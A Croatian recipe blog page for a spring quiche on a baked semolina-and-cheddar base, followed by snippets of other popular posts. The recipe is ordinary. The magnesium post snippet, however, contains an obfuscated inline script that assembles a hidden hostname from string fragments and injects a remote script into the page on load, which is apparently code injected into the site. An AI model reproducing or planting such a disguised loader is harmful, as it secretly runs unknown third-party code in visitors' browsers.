PROLJETNI QUICHE S GRIZOM I SIROM





Proljetni quiche s grizom i sirom 




Jeste li čuli za quiche grits ili quiche s grizom? Riječ je quicheu koji se umjesto na prhkoj kori od tijesta nalazi na debelom i hrskavom sloju od griza sa sirom. Podloga od griza i sira se prvo ispeče, pa se tek onda preko nje prelijeva smjesa od jaja i tako zapeče u pećnici.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>



Proljetni quiche s grizom i sirom 


Sastojci:

  • 1 l mlijeka
  • 550 ml vrhnja za kuhanje
  • 250 g sira cheddara
  • 250 ml slatkog vrhnja
  • 100 g griza
  • 50 g mladog luka
  • 6 velikih jaja
  • 6 kriška špeka
  • sol i papar po želji
  • svježi vlasac
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema:

  1. Na tavi prepržite špek narezan na kockice - pržite ga nekoliko minuta dok ne postane hrskav. Izvadite ga iz tave, a masnoću od prženja prebacite u veći lonac zajedno sa 600 mililitara mlijeka i nešto soli i papra. Kada tekućina zavrije, postupno dodavajte griz i kuhajte sve zajedno uz stalno miješanja oko 15 minuta dok se smjesa ne zgusne.
  2. Uklonite lonac s vatre, umiješajte 100 grama naribanog cheddara u griz, sve dobro promiješajte i pustite da se malkice ohladi. Nakon 10 minuta dodajte u smjesu jedno jaje, promiješajte i prebacite u okrugli kalup za torte koji ste prethodno obložili papirom za pečenje.
  3. Pecite podlogu od griza i sira u prethodno zagrijanoj pećnici na 180 Celzijevih stupnjeva oko 25 minuta dok ne očvrsne i ne dobije lijepu zlaćanu boju.
  4. Izvadite podlogu iz pećnice, pospite je s ostatkom naribanog cheddara i pustite da sve zajedno odstoji 15 minuta.
  5. Smanjite temperaturu pećnice na 160 Celzijevih stupnjeva.
  6. Napravite nadjev: pomiješajte ostatak mlijeka, vrhnje za kuhanje, slatko vrhnje i pet jaja. Posolite i popaprite. Dodajte nasjeckani mladi luk i vlasac po želji. Smjesu prelijte preko podloge od griza i sira. Pospite sve zajedno s hrskavim komadićima špeka.
  7. Prekrijte kalup za pečenje aluminijskom folijom i stavite sve zajedno peći u zagrijanu pećnicu na 160 Celzijevih stupnjeva oko 75 minuta dok se quiche termički ne obradi do kraja i ne stisne.
  8. Pustite da se quiche hladi otprilike 20 minuta prije nego što ga narežite i poslužite uz sezonsku salatu po želji. Dobar tek!

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više